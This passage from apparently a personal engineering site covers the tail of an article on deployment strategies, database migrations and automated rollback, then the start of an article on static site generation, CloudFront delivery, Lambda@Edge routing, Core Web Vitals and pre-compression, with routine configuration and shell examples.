1. Deploy code that reads only from new column
2. Stop writing to old column
3. Add NOT NULL constraint
4. Drop old column

```sql
-- Contract: Add constraint after all rows populated
ALTER TABLE users ALTER COLUMN email_verified SET NOT NULL;

-- Later: Drop old column
ALTER TABLE users DROP COLUMN is_verified;
```

**Rollback safety**: At any phase, the previous code version works because old columns remain valid until the final contract phase.

### Online Schema Migration Tools

Large tables can't be altered with `ALTER TABLE`—the operation locks the table for the duration, causing downtime. Online schema migration tools solve this.

#### gh-ost (MySQL)

[gh-ost](https://github.com/github/gh-ost) from GitHub creates a "ghost" table, applies changes, then performs atomic swap:

1. Create ghost table with new schema
2. Stream binary log changes to ghost table
3. Copy existing rows in batches
4. Atomic table rename when caught up

**Key advantages over trigger-based tools**:

- No triggers on original table (triggers add write latency)
- Pausable and resumable
- Controllable cut-over timing

```bash
gh-ost \
  --host=db.example.com \
  --database=mydb \
  --table=users \
  --alter="ADD COLUMN email_verified BOOLEAN" \
  --execute
```

**Requirement**: Row-Based Replication (RBR) format in MySQL.

#### pt-online-schema-change (MySQL)

[Percona Toolkit](https://docs.percona.com/percona-toolkit/pt-online-schema-change.html) uses triggers to capture changes:

1. Create new table with desired schema
2. Create triggers on original to capture INSERT/UPDATE/DELETE
3. Copy rows in chunks
4. Swap tables atomically

```bash
pt-online-schema-change \
  --alter "ADD COLUMN email_verified BOOLEAN" \
  D=mydb,t=users \
  --execute
```

**Limitation**: Foreign keys require special handling (`--alter-foreign-keys-method`).

#### PostgreSQL: pgroll

[pgroll](https://github.com/xataio/pgroll) provides zero-downtime PostgreSQL migrations following expand-contract natively:

- Serves multiple schema versions simultaneously
- Automatic dual-write via triggers
- Versioned schema views for each application version

### Migration Timing and Deployment Coordination

**Rule**: Schema migration must complete before deploying code that depends on it.

**Deployment sequence**:

1. Run expand migration (add column, create table)
2. Deploy new code (dual-write enabled)
3. Run backfill (populate new column for existing rows)
4. Verify data consistency
5. Deploy contract code (read from new column only)
6. Run contract migration (add constraints, drop old columns)

**Rollback windows**: Each phase should allow rollback for at least 24 hours before proceeding to the next phase. This catches issues that appear under production load patterns.

## Automated Rollback Systems

Automated rollback reduces Mean Time to Recovery (MTTR) by eliminating human decision latency. The system monitors metrics and triggers rollback when thresholds are breached.

### Metric Selection and Thresholds

Effective automated rollback requires metrics that:

1. Correlate strongly with user-visible issues
2. Change quickly when problems occur
3. Have low false-positive rates

**Recommended metrics**:

| Metric      | Threshold Type    | Example                      |
| ----------- | ----------------- | ---------------------------- |
| Error rate  | Absolute increase | > 1% increase over baseline  |
| p99 latency | Relative increase | > 50% increase over baseline |
| p50 latency | Absolute value    | > 200ms                      |
| Apdex score | Absolute value    | < 0.9                        |

**Baseline comparison**: Compare canary/new version metrics against stable version, not absolute thresholds. A service with 0.5% baseline error rate triggering on > 1% error rate will fire immediately; triggering on > 0.5% increase is appropriate.

### Argo Rollouts Analysis

Argo Rollouts integrates with Prometheus, Datadog, New Relic, and Wavefront for automated analysis:

```yaml title="analysis-run.yaml" collapse={1-5}
# AnalysisTemplate comparing canary error rate against stable baseline
# Uses Prometheus queries with args substitution
# successCondition evaluates query result against threshold

apiVersion: argoproj.io/v1alpha1
kind: AnalysisTemplate
metadata:
  name: error-rate-comparison
spec:
  args:
    - name: canary-hash
    - name: stable-hash
  metrics:
    - name: error-rate-comparison
      successCondition: result[0] <= 0.01 # Canary error rate <= 1% higher
      failureLimit: 3
      interval: 60s
      provider:
        prometheus:
          address: http://prometheus:9090
          query: |
            (
              sum(rate(http_requests_total{status=~"5.*",rollout-pod-template-hash="{{args.canary-hash}}"}[5m]))
              /
              sum(rate(http_requests_total{rollout-pod-template-hash="{{args.canary-hash}}"}[5m]))
            )
            -
            (
              sum(rate(http_requests_total{status=~"5.*",rollout-pod-template-hash="{{args.stable-hash}}"}[5m]))
              /
              sum(rate(http_requests_total{rollout-pod-template-hash="{{args.stable-hash}}"}[5m]))
            )
```

### Observability Integration

**Datadog deployment tracking** from [their documentation](https://www.datadoghq.com/blog/datadog-deployment-tracking/):

- Correlates deployments with metric changes
- Watchdog AI detects faulty deployments within minutes
- Compares new version against historical baselines

**Prometheus alerting** for deployment health:

```yaml title="prometheus-alert.yaml" collapse={1-3}
# Prometheus alerting rule for deployment error rate spike
# Fires when error rate increases significantly after deployment

groups:
  - name: deployment-health
    rules:
      - alert: DeploymentErrorRateSpike
        expr: |
          (
            sum(rate(http_requests_total{status=~"5.*"}[5m]))
            /
            sum(rate(http_requests_total[5m]))
          ) > 0.05
        for: 2m
        labels:
          severity: critical
        annotations:
          summary: "Error rate exceeded 5% for 2 minutes"
```

### Rollback Trigger Design

**Avoid single-metric triggers**: Combine multiple signals to reduce false positives.

```yaml
# Rollback when ANY of these conditions is true:
conditions:
  - error_rate_increase > 1%
  - p99_latency_increase > 100ms
  - apdex < 0.85

# But NOT if:
exceptions:
  - traffic_volume < 100_requests_per_minute # Insufficient data
  - baseline_error_rate > 5% # Already unhealthy
```

**Cooldown periods**: After rollback, wait before allowing re-promotion. Prevents flip-flopping between versions during transient issues.

**Notification and audit**: Log all automated rollback decisions with:

- Timestamp
- Triggering metric values
- Baseline comparison values
- Affected deployment/revision

## Operational Playbooks

### Pre-Deployment Checklist

| Check                         | Purpose                      | Automation                 |
| ----------------------------- | ---------------------------- | -------------------------- |
| Schema migration completed    | Prevent code/schema mismatch | CI pipeline gate           |
| Feature flags configured      | Enable targeted rollback     | Flag service API check     |
| Rollback procedure documented | Reduce MTTR                  | PR template requirement    |
| Monitoring dashboards ready   | Detect issues quickly        | Link in deployment ticket  |
| On-call engineer notified     | Human oversight              | PagerDuty/Slack automation |

### Deployment Monitoring

**First 5 minutes** (critical window):

- Error rate by endpoint
- Latency percentiles (p50, p90, p99)
- Throughput anomalies
- Pod restart count

**First hour**:

- Memory usage trends (leak detection)
- Connection pool utilization
- Downstream service error rates
- Business metrics (conversion, orders)

**First 24 hours**:

- Full traffic pattern coverage (peak hours)
- Long-running job completion
- Background worker health
- Cache hit rates

### Incident Response: Deployment-Related

**Symptoms suggesting bad deployment**:

- Metrics degraded immediately after deployment
- Only new pods showing errors (pod-specific issues)
- Errors correlate with traffic to new version (canary analysis)

**Immediate actions**:

1. **Pause rollout** (if in progress): `kubectl rollout pause deployment/my-app`
2. **Check recent deployments**: `kubectl rollout history deployment/my-app`
3. **Compare error rates** between old and new pods
4. **Rollback if confident**: `kubectl rollout undo deployment/my-app`

**Rollback decision tree**:

```
Is the issue definitely caused by the deployment?
├── Yes → Rollback immediately
├── Unsure, but deployment was recent → Rollback (safe default)
└── No (unrelated issue) → Continue troubleshooting
```

**Post-incident**:

- Document what metrics detected the issue
- Determine if automated rollback should have triggered
- Adjust thresholds if false negative occurred
- Add regression test for the specific failure mode

## Conclusion

Deployment strategy selection isn't about finding the "best" approach—it's about choosing which failure mode your organization can tolerate.

**Blue-green** provides instant rollback at 2x infrastructure cost. Choose when rollback speed is paramount and budget allows parallel environments.

**Canary** provides controlled blast radius at operational complexity cost. Choose when you need gradual exposure with automated metric gates, and have service mesh or traffic splitting infrastructure.

**Rolling** provides simplicity at rollback speed cost. Choose for straightforward deployments where version coexistence is acceptable and instant rollback isn't critical.

**Feature flags** complement all strategies by moving release control to the application layer. Even with rolling deployments, flags provide instant feature-level rollback.

**Database migrations** constrain all strategies. The expand-contract pattern enables backward-compatible changes that preserve rollback capability throughout the deployment lifecycle.

The mature approach: combine strategies based on change risk. Routine dependency updates use rolling. New features with uncertain impact use canary. Critical infrastructure changes use blue-green with extended observation.

## Appendix

### Prerequisites

- Kubernetes Deployments, Services, and Ingress concepts
- Load balancer target group configuration (AWS ALB/NLB)
- Prometheus metric queries and alerting
- Database schema migration fundamentals
- Service mesh concepts (Istio VirtualService, DestinationRule)

### Terminology

- **Blast radius**: Percentage of users affected by a deployment issue
- **MTTR (Mean Time to Recovery)**: Average time from incident detection to resolution
- **Expand-contract**: Migration pattern that adds new structures before removing old ones
- **Dual-write**: Writing to both old and new data structures during migration
- **Apdex**: Application Performance Index—ratio of satisfactory response times
- **Readiness probe**: Kubernetes health check determining if a pod can receive traffic
- **Rollout**: Kubernetes term for a deployment's update progression

### Summary

- Blue-green offers instant rollback at 2x infrastructure cost—atomic traffic switching between parallel environments
- Canary enables metric-driven progressive exposure (1% → 100%)—requires service mesh or weighted routing
- Rolling updates are Kubernetes-native with `maxSurge`/`maxUnavailable` control—no automated metric-based rollback without Argo Rollouts
- Feature flags decouple deployment from release—enable instant feature rollback without infrastructure changes
- Expand-contract pattern enables backward-compatible schema migrations—preserves rollback capability
- Automated rollback requires baseline comparison, not absolute thresholds—minimum 50 data points for statistical significance

### References

**Foundational Articles**

- [Martin Fowler - Blue Green Deployment](https://martinfowler.com/bliki/BlueGreenDeployment.html) - Original definition and architecture
- [Martin Fowler - Canary Release](https://martinfowler.com/bliki/CanaryRelease.html) - Progressive traffic shifting concept
- [Martin Fowler - Parallel Change](https://martinfowler.com/bliki/ParallelChange.html) - Expand-contract migration pattern
- [Google SRE Workbook - Canarying Releases](https://sre.google/workbook/canarying-releases/) - Automated canary analysis requirements

**Kubernetes Documentation**

- [Kubernetes Deployments](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) - Rolling update parameters
- [Kubernetes Probes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/) - Liveness, readiness, startup configuration
- [kubectl rollout](https://kubernetes.io/docs/reference/kubectl/generated/kubectl_rollout/) - Rollout management commands

**Progressive Delivery Tools**

- [Argo Rollouts Canary](https://argo-rollouts.readthedocs.io/en/stable/features/canary/) - Kubernetes canary implementation
- [Argo Rollouts Analysis](https://argo-rollouts.readthedocs.io/en/stable/analysis/prometheus/) - Prometheus integration
- [Flagger](https://docs.flagger.app/) - Automated canary with service mesh integration
- [Istio Traffic Management](https://istio.io/latest/docs/concepts/traffic-management/) - VirtualService and DestinationRule

**AWS Documentation**

- [AWS ECS Blue/Green Deployments](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/deployment-type-bluegreen.html) - CodeDeploy integration
- [AWS Blue/Green Whitepaper](https://d1.awsstatic.com/whitepapers/AWS_Blue_Green_Deployments.pdf) - Architecture patterns

**Database Migration Tools**

- [gh-ost](https://github.com/github/gh-ost) - GitHub's online schema migration for MySQL
- [pt-online-schema-change](https://docs.percona.com/percona-toolkit/pt-online-schema-change.html) - Percona Toolkit
- [pgroll](https://github.com/xataio/pgroll) - Zero-downtime PostgreSQL migrations

**Feature Flags**

- [LaunchDarkly Progressive Rollouts](https://launchdarkly.com/docs/home/releases/progressive-rollouts) - Automated percentage increase
- [LaunchDarkly Deployment Strategies](https://launchdarkly.com/docs/guides/infrastructure/deployment-strategies) - Integration patterns

**Observability**

- [Datadog Deployment Tracking](https://www.datadoghq.com/blog/datadog-deployment-tracking/) - Correlation and analysis
- [Google Cloud Canary Analysis](https://cloud.google.com/blog/products/devops-sre/canary-analysis-lessons-learned-and-best-practices-from-google-and-waze) - Threshold tuning guidance

---

## SSG Performance Optimizations: Build, Cache, and Delivery

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/infrastructure-delivery/ssg-performance-optimizations
**Category:** Platform Engineering / Infrastructure & Delivery
**Description:** Production-grade Static Site Generation (SSG) architecture for AWS CloudFront delivery. Covers atomic deployments, pre-compression strategies, Lambda@Edge routing patterns, and Core Web Vitals optimization—with specific focus on design tradeoffs and operational failure modes that senior engineers encounter in production.

# SSG Performance Optimizations: Build, Cache, and Delivery

Production-grade Static Site Generation (SSG) architecture for AWS CloudFront delivery. Covers atomic deployments, pre-compression strategies, Lambda@Edge routing patterns, and Core Web Vitals optimization—with specific focus on design tradeoffs and operational failure modes that senior engineers encounter in production.

<figure>

![High-level architecture showing the build-time rendering, AWS deployment, and edge delivery flow for SSG sites](./high-level-architecture-showing-the-build-time-rendering-aws-deployment-and-edge.svg)

<figcaption>High-level architecture showing the build-time rendering, AWS deployment, and edge delivery flow for SSG sites</figcaption>

</figure>

## Abstract

SSG performance hinges on three architectural decisions that compound:

1. **Where computation happens**: Build-time rendering eliminates request-time processing—Time to First Byte (TTFB) drops from 200-500ms (Server-Side Rendering) to <50ms (CDN edge)
2. **How deployments are structured**: Atomic, versioned directories in S3 (`/build_001/`, `/build_002/`) enable instant rollbacks via CloudFront origin path updates—no partial deployments, no corrupted states
3. **Where intelligence lives**: Lambda@Edge vs CloudFront Functions determines routing flexibility vs cost—CloudFront Functions at $0.10/1M invocations for simple rewrites, Lambda@Edge at $0.60/1M for complex logic requiring network access

**Critical tradeoffs**:

| Decision                     | Optimizes For                                  | Sacrifices                                    |
| ---------------------------- | ---------------------------------------------- | --------------------------------------------- |
| Pre-compression (Brotli Q11) | 15-20% smaller files vs Gzip                   | Build time (seconds vs milliseconds per file) |
| Lambda@Edge routing          | Network access, body manipulation, 30s timeout | Cost (6x CloudFront Functions), cold starts   |
| Atomic deployments           | Instant rollback, no partial failures          | S3 storage (retain N versions)                |
| Origin Shield                | Cache hit ratio, origin load reduction         | Additional cost per request                   |

**Core Web Vitals targets** (75th percentile): CLS < 0.1, LCP (Largest Contentful Paint) < 2.5s, INP (Interaction to Next Paint) < 200ms

## Static Site Generation Fundamentals

SSG shifts computation from request-time to build-time. The architectural implication: servers become stateless file delivery mechanisms, enabling CDN-first architectures where edge locations serve pre-built assets without origin round-trips.

### Build-Time Rendering Model

SSG pre-renders all pages during a build phase, producing static HTML, CSS, and JavaScript files. This contrasts with database-driven systems (WordPress, Drupal) that generate HTML per-request.

**Why build-time?** Request-time rendering introduces latency per request (database queries, template rendering, API calls). Build-time amortizes this cost across all future requests—compute once, serve millions of times.

The process:

1. **Content ingestion**: Markdown files, headless CMS APIs, or structured data
2. **Template application**: React, Vue, Astro components, or templating languages (Liquid, Nunjucks)
3. **Asset generation**: Optimized HTML, CSS, JS bundles
4. **Deployment**: Upload to S3, configure CloudFront origin

<figure>

![SSG workflow: content and templates compile to static assets deployed to CDN edge locations.](./ssg-workflow-content-and-templates-compile-to-static-assets-deployed-to-cdn-edge.svg)

<figcaption>SSG workflow: content and templates compile to static assets deployed to CDN edge locations.</figcaption>

</figure>

### Framework Comparison and Build Performance

Modern SSG frameworks evolved from simple generators (Jekyll) to sophisticated meta-frameworks supporting hybrid rendering. The key architectural differentiator: how much JavaScript ships to the client.

| Generator  | Language/Framework | Key Architectural Feature                                                               | Build Performance | Ideal Use Case                                                              |
| ---------- | ------------------ | --------------------------------------------------------------------------------------- | ----------------- | --------------------------------------------------------------------------- |
| Next.js 15 | JavaScript/React   | Hybrid rendering (SSG, SSR, ISR) with per-page `isrCacheTime` revalidation              | Moderate to Fast  | Complex web applications, e-commerce sites, enterprise applications         |
| Hugo       | Go                 | Single-binary Go implementation; processes thousands of pages in seconds                | Fastest           | Large content-heavy sites, blogs, and documentation with thousands of pages |
| Astro 5.x  | JavaScript/Astro   | Islands Architecture—ships zero JS by default; up to 127 pages/second with optimization | Fast              | Content-rich marketing sites, portfolios, and blogs focused on performance  |
| Eleventy   | JavaScript         | Highly flexible; supports 10+ templating languages                                      | Fast              | Custom websites where developers want maximum control                       |
| Jekyll     | Ruby               | Mature, blog-aware, deeply integrated with GitHub Pages                                 | Slower            | Personal blogs, simple project websites, GitHub Pages deployments           |
| Docusaurus | JavaScript/React   | Documentation-optimized with versioning, search, and sidebar navigation                 | Fast              | Technical documentation, knowledge bases, and open-source project sites     |

**Build performance insight**: Astro 5.x benchmarks show optimization potential from 35 pages/second to 127 pages/second (3.6x improvement). Key bottleneck: API calls in child components cause per-page build slowdowns—solution is passing data as props from parent or marking components as client-only.

### Why SSG: Architectural Tradeoffs

SSG adoption stems from specific tradeoffs that favor read-heavy, infrequently-updated content:

**Performance**: TTFB drops from 200-500ms (SSR with database queries) to <50ms (CDN edge). The 4-10x improvement compounds with geographic distribution—users in Sydney get the same latency as users in Virginia when assets are cached at edge locations.

**Security**: Attack surface reduction is structural, not configurational. No database connection at request time eliminates SQL injection. No server-side code execution eliminates RCE (Remote Code Execution) vectors. The security model becomes: "secure your build pipeline and S3 bucket permissions."

**Scalability**: CDN cost model is per-request data transfer, not compute. A traffic spike from 1K to 1M requests doesn't require provisioning servers—CloudFront handles distribution across 225+ edge locations automatically. Cost scales linearly with bandwidth, not exponentially with compute.

**Developer experience**: Git-based workflows enable PR previews, rollback via commit revert, and content versioning. The tradeoff: dynamic content requires either client-side fetching (slower perceived performance) or incremental static regeneration (ISR, increased complexity).

## Rendering Strategy Selection

Rendering strategy is a per-page (or per-component) decision, not a global architecture choice. The deciding factors: data freshness requirements, SEO needs, and infrastructure cost tolerance.

### Pattern Definitions

**SSG**: All pages generated at build time. Server delivers pre-built files. Ideal when content is identical for all users and changes infrequently (blogs, docs, marketing pages).

**SSR**: HTML generated per-request. Server fetches data, renders HTML, sends to client. Required when content must reflect current state (user dashboards, real-time data).

**CSR (Client-Side Rendering)**: Server sends minimal HTML with JavaScript bundle. Browser fetches data and renders. Foundation of SPAs (Single Page Applications). Tradeoff: poor initial SEO, slower First Contentful Paint (FCP).

### Comparative Analysis

| Metric                 | SSG                          | SSR                           | CSR                                   |
| ---------------------- | ---------------------------- | ----------------------------- | ------------------------------------- |
| TTFB                   | <50ms (CDN edge)             | 200-500ms (server processing) | Fast initial, slow meaningful content |
| First Contentful Paint | Fast (immediate HTML render) | Slower (wait for server HTML) | Slowest (blank until JS executes)     |
| Time to Interactive    | Fast (minimal hydration JS)  | Slower (full-page hydration)  | Slowest (full app render on client)   |
| SEO                    | Excellent (crawlable HTML)   | Excellent (crawlable HTML)    | Poor without SSR fallback             |
| Data Freshness         | Stale (last build timestamp) | Real-time                     | Real-time                             |
| Infrastructure         | S3 + CloudFront only         | Node.js servers + scaling     | Static hosting + API backend          |
| Cost at Scale          | Linear (bandwidth)           | Exponential (compute)         | Linear (bandwidth) + API costs        |

### Hybrid Rendering

Modern frameworks (Next.js 15, Astro 5.x) enable per-page rendering decisions:

- **Marketing pages**: SSG for performance
- **User dashboards**: SSR for real-time data
- **Interactive widgets**: CSR with client-side hydration (Islands Architecture in Astro)

Next.js 15 adds per-page `isrCacheTime` for fine-grained ISR (Incremental Static Regeneration) control—revalidate pricing pages every hour, blog posts every day.

## AWS Deployment Architecture

Production SSG deployments require atomic releases, instant rollbacks, and cost-aware cache invalidation. The architecture decisions here determine your Mean Time to Recovery (MTTR) during incidents.

### Atomic and Immutable Deployments

**Why atomic?** Partial deployments create inconsistent states—users might receive `index.html` from v2 but `main.js` from v1 if uploads are interrupted. Atomic deployments guarantee all-or-nothing transitions.

**Implementation**: Each build uploads to a unique, versioned directory:

```
s3://my-bucket/deployments/v1.2.0/
s3://my-bucket/deployments/v1.2.1/
s3://my-bucket/deployments/a8c3e5f/  # Git commit hash
```

**Design rationale**:

1. **Immutability**: Once deployed, a version is never modified—debugging production issues means examining a frozen artifact
2. **Instant rollback**: Change CloudFront origin path from `/v1.2.1/` to `/v1.2.0/`—no re-upload, no rebuild
3. **Parallel testing**: QA can verify `/v1.2.1/` while `/v1.2.0/` serves production traffic

**Storage cost tradeoff**: Retaining N versions costs N × build size. Implement lifecycle rules to delete versions older than 30-90 days, keeping the last 5-10 for rollback.

### S3 Versioning: Anti-Pattern for Deployments

S3 Object Versioning tracks individual file history, not deployment snapshots. A deployment touching 500 files requires 500 individual restore operations for rollback—operationally infeasible during incidents.

**When S3 versioning helps**: Disaster recovery for accidental deletions, compliance requirements for audit trails.

**When it fails**: Application rollbacks requiring atomic state transitions across hundreds of files.

### CloudFront Origin Path Rollbacks

The preferred strategy: single CloudFront distribution with origin path pointing to versioned S3 directories.

**Deployment flow**:

1. CI/CD builds site, uploads to `s3://my-bucket/deployments/v1.2.1/`
2. Update CloudFront origin path to `/deployments/v1.2.1`
3. Invalidate cache (`/*`) to purge old content

**Rollback flow**: Update origin path to `/deployments/v1.2.0`, invalidate cache. No rebuild required.

**Cache invalidation cost**: First 1,000 paths/month are free. Beyond: $0.005/path. Wildcard `/*` counts as one path but invalidates all objects. For a 500-page site deploying 3x/day, monthly cost: ~$0 (within free tier) to $4.50 (90 invalidations × $0.05 average).

**Propagation timing**: Invalidations complete within seconds to minutes across 225+ edge locations. Not instant—plan for 1-2 minute visibility delay during deployments.

<figure>

![Deployment and rollback sequence showing the interaction between CI/CD pipeline, S3, and CloudFront for atomic deployments](./deployment-and-rollback-sequence-showing-the-interaction-between-ci-cd-pipeline-.svg)

<figcaption>Deployment and rollback sequence showing the interaction between CI/CD pipeline, S3, and CloudFront for atomic deployments</figcaption>

</figure>

### Lambda@Edge Build Version Routing

For sophisticated rollback and A/B testing scenarios, Lambda@Edge functions route requests based on headers, cookies, or percentage-based rules.

**Why Lambda@Edge over CloudFront Functions?** This pattern requires modifying the origin request after cache miss—CloudFront Functions can only modify viewer request/response and cannot change origin domain or path dynamically.

<figure>

![SSG CloudFront Architecture with Build Version Management](./ssg-cloudfront-arch.inline.svg)

<figcaption>Architecture diagram showing SSG deployment with CloudFront and build version management for zero-downtime deployments</figcaption>

</figure>

**S3 Bucket Structure:**

```asciidoc
S3 Bucket
├── build_001
│   ├── index.html
│   ├── assets/
│   └── ...
├── build_002
│   ├── index.html
│   ├── assets/
│   └── ...
├── build_003
│   ├── index.html
│   ├── assets/
│   └── ...
└── build_004
    ├── index.html
    ├── assets/
    └── ...
```

**CloudFront Configuration:**
Add a custom origin header in CloudFront's origin configuration that is always updated with the new release post syncing all files to S3. This header contains the current build version.

<figure>

![Adding Build Version Header in CloudFront](./add-build-version.jpg)

<figcaption>Screenshot showing CloudFront configuration for adding build version headers to enable dynamic routing</figcaption>

</figure>

**Lambda@Edge Function:**

```javascript title="build-version-router.js" collapse={1-5}
// Lambda@Edge function for build version routing
// Reads x-build-version header set in CloudFront origin configuration
// and routes requests to the appropriate versioned S3 directory

exports.handler = (event, context, callback) => {
  const request = event.Records[0].cf.request
  const headers = request.headers
  const buildVersion = headers["x-build-version"] ? headers["x-build-version"][0].value : "build_004"

  // Add the build version prefix to the request URI
  if (request.uri === "/") {
    request.uri = `/${buildVersion}/index.html`
  } else {
    request.uri = `/${buildVersion}${request.uri}`
  }

  callback(null, request)
}
```

**Rollback Script:**

```bash title="version-deployment.sh" collapse={1-6}
#!/bin/bash
# Deployment script for updating CloudFront build version
# Updates the origin custom header and invalidates cache
# Usage: ./version-deployment.sh build_003 E1234567890ABCD

update_build_version() {
    local version=$1
    local distribution_id=$2

    # Update the origin custom header with new build version
    aws cloudfront update-distribution \
        --id $distribution_id \
        --distribution-config file://dist-config.json \
        --if-match $(aws cloudfront get-distribution-config --id $distribution_id --query 'ETag' --output text)

    # Invalidate cache to ensure new version is served
    aws cloudfront create-invalidation \
        --distribution-id $distribution_id \
        --paths "/*"
}

update_build_version $1 $2
```

**Advantages**:

- **Instant rollbacks**: Header update + cache invalidation
- **A/B testing**: Route users to different builds via cookies
- **Gradual rollouts**: Percentage-based traffic shifting
- **Zero downtime**: No service interruption

**Cost tradeoff**: Lambda@Edge at $0.60/1M requests vs CloudFront Functions at $0.10/1M. For 10M requests/month, the difference is $5/month—marginal for the flexibility gained.

### CloudFront Functions vs Lambda@Edge Decision Matrix

This is a critical architectural decision affecting cost, latency, and capabilities:

| Capability          | CloudFront Functions | Lambda@Edge               |
| ------------------- | -------------------- | ------------------------- |
| Execution locations | 225+ edge locations  | 13 regional edge caches   |
| Max execution time  | <1ms                 | 5s (viewer), 30s (origin) |
| Scaling             | 10M+ req/sec         | 10K req/sec per region    |
| Languages           | JavaScript only      | Node.js, Python           |
| Network access      | No                   | Yes                       |
| Body manipulation   | No                   | Yes                       |
| Pricing             | $0.10/1M invocations | $0.60/1M + execution time |

**Use CloudFront Functions for**: URL normalization, simple header manipulation, A/B test cookie reading, cache key manipulation.

**Use Lambda@Edge for**: Origin routing, third-party API calls, image transformation, request body manipulation, complex routing logic.

### Origin Shield: Cache Hit Optimization

Origin Shield adds a centralized caching layer between edge locations and S3, collapsing simultaneous requests for the same object.

**When to enable**: Sites with global traffic where multiple edge locations request the same uncached object simultaneously. Origin Shield serves one request to S3, caches the response, and serves all waiting edges.

**Cost tradeoff**: Additional per-request charge. Justified when S3 request costs exceed Origin Shield costs—typically at high traffic volumes with cache miss rates >10%.

## Core Web Vitals Optimization

Raw speed (TTFB, FCP) is necessary but insufficient. Visual stability—measured by CLS—determines perceived quality. A page that loads fast but shifts content during load frustrates users more than a slightly slower, stable page.

**Current thresholds** (75th percentile, as of 2025):

- **CLS**: <0.1 (Good), 0.1-0.25 (Needs Improvement), >0.25 (Poor)
- **LCP**: <2.5s (Good), 2.5-4.0s (Needs Improvement), >4.0s (Poor)
- **INP**: <200ms (Good), 200-500ms (Needs Improvement), >500ms (Poor)

### Diagnosing CLS

Common CLS causes on static sites:

**Images without dimensions**: Browser reserves zero space initially. Image download triggers reflow, shifting all subsequent content.

**Asynchronous embeds**: Third-party ads, YouTube iframes, social widgets arrive after initial render. No reserved space = layout shift.

**Web fonts**: Fallback font renders first, web font swap causes text reflow due to different character metrics.

**Client-side injections**: Announcement banners, cookie consent dialogs injected after initial paint push content down.

**Layout Shift Attribution API**: Debug CLS by accessing `LayoutShift.sources`—returns up to 5 DOM elements causing shifts, sorted by impact area. `sources[0]` is the largest contributor.

### CLS Mitigation Patterns

**Image dimension reservation**:

Always include `width` and `height` attributes. Modern browsers calculate aspect ratio and reserve space before download.

```html
<img src="puppy.jpg" width="1280" height="720" style="width: 100%; height: auto;" alt="A cute puppy playing." />
```

**Async content placeholders**:

Reserve space for embeds with explicit dimensions. Variable-height content: use `min-height` matching the most common size.

```html
<div style="width: 300px; height: 250px; background-color: #f0f0f0;">
  <!-- Ad unit injected here -->
</div>
```

**Font optimization**:

Preload critical fonts and match fallback metrics to minimize swap shift.

```html
<head>
  <link rel="preload" href="/fonts/my-critical-font.woff2" as="font" type="font/woff2" crossorigin />
  <style>
    @font-face {
      font-family: "My Critical Font";
      src: url("/fonts/my-critical-font.woff2") format("woff2");
      font-display: swap; /* Show fallback immediately, swap when loaded */
    }
    body {
      font-family: "My Critical Font", Arial, sans-serif; /* Match fallback metrics */
    }
  </style>
</head>
```

**Font-display tradeoff**: `swap` shows content immediately (better FCP) but risks CLS. `optional` avoids CLS but may show fallback font if web font loads slowly. Choose based on font metric similarity to fallback.

### Dual Build Strategy for Responsive CLS

**Problem**: Mobile and desktop layouts have different component dimensions. Static generation at build time must choose one—rendering both causes CLS on one device type; rendering neither requires client-side hydration (slow).

**Solution**: Generate separate builds for mobile and desktop, route via user agent detection.

S3 structure:

```
s3://my-bucket/
├── mobile/
│   ├── index.html
│   └── ...
└── desktop/
    ├── index.html
    └── ...
```

**Implementation with Lambda@Edge**:

```javascript title="device-router.js" collapse={1-4}
// Lambda@Edge function for device-based routing
// Routes to mobile/ or desktop/ prefixed paths based on user agent
// Configure CloudFront cache key to include CloudFront-Is-Mobile-Viewer header

exports.handler = (event, context, callback) => {
  const request = event.Records[0].cf.request
  const headers = request.headers
  const userAgent = headers["user-agent"] ? headers["user-agent"][0].value : ""
  const isMobile = /Mobile|Android|iPhone|iPad/.test(userAgent)
  const devicePrefix = isMobile ? "/mobile" : "/desktop"

  if (request.uri === "/") {
    request.uri = `${devicePrefix}/index.html`
  } else {
    request.uri = `${devicePrefix}${request.uri}`
  }

  callback(null, request)
}
```

**CloudFront cache key configuration**:

- Include `CloudFront-Is-Mobile-Viewer` header in cache key
- Mobile and desktop versions cache separately
- Lambda@Edge triggers on origin request (after cache miss)

**Tradeoff**: Build time doubles (2 builds), storage doubles. Justified when mobile/desktop layouts differ significantly and CLS impact is measurable.

## Pre-Compression Architecture

Compression determines bandwidth and load time. The architectural decision: compress at build time (maximum compression, zero runtime cost) or at edge (simpler, lower compression ratio).

### Edge vs Build-Time Compression

**CloudFront edge compression**:

- Enable via cache policy: `EnableAcceptEncodingGzip`, `EnableAcceptEncodingBrotli`
- CloudFront compresses on first request, caches result
- Uses lower compression levels to minimize latency
- **Size limits**: Only compresses objects 1KB–10MB

**Build-time pre-compression**:

- Compress during CI/CD with maximum quality (Brotli Q11, Gzip -9)
- Upload `.br` and `.gz` variants to S3
- Content negotiation via Lambda@Edge or CloudFront Functions
- Zero runtime compression cost

**Compression ratio comparison**:

| Content Type | Brotli Q11 vs Gzip -9 |
| ------------ | --------------------- |
| JavaScript   | 15% smaller           |
| HTML         | 20% smaller           |
| CSS          | 16% smaller           |

**Build time tradeoff**: Brotli Q11 encoding takes ~1.8s for a 1.6MB JavaScript file vs ~0.05s for Gzip. Amortized across deployments, this is negligible. Decompression speed is identical—clients see no penalty.

### CloudFront Compression Limitations

**Edge compression constraints** ([CloudFront docs](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/ServingCompressedFiles.html)):

- **Size range**: Only compresses objects 1KB–10MB
- **Cache race condition**: If uncompressed copy is cached first, CloudFront serves uncompressed until TTL expires
- **Best-effort**: CloudFront may skip compression under load
- **HTTPS requirement for Brotli**: Browsers only request `br` encoding over HTTPS (95.9% browser support as of 2025)
- **TTL dependency**: Cache policy TTL must be >0 for compression to apply

### Pre-Compression Implementation

Coordinates build process, S3 metadata, edge function content negotiation, and cache policy configuration.

<figure>

![Pre-compression architecture showing the build process, S3 deployment, and Lambda@Edge content negotiation flow](./pre-compression-architecture-showing-the-build-process-s3-deployment-and-lambda-.svg)

<figcaption>Pre-compression architecture showing the build process, S3 deployment, and Lambda@Edge content negotiation flow</figcaption>

</figure>

**Build step**: After bundling, generate Gzip and Brotli variants:

```bash
# Brotli (quality 11, maximum compression)
brotli -q 11 -o main.js.br main.js

# Gzip (level 9, maximum compression)
gzip -9 -k main.js
```

**S3 upload with metadata**: Critical—set `Content-Encoding` header on compressed files:

```bash
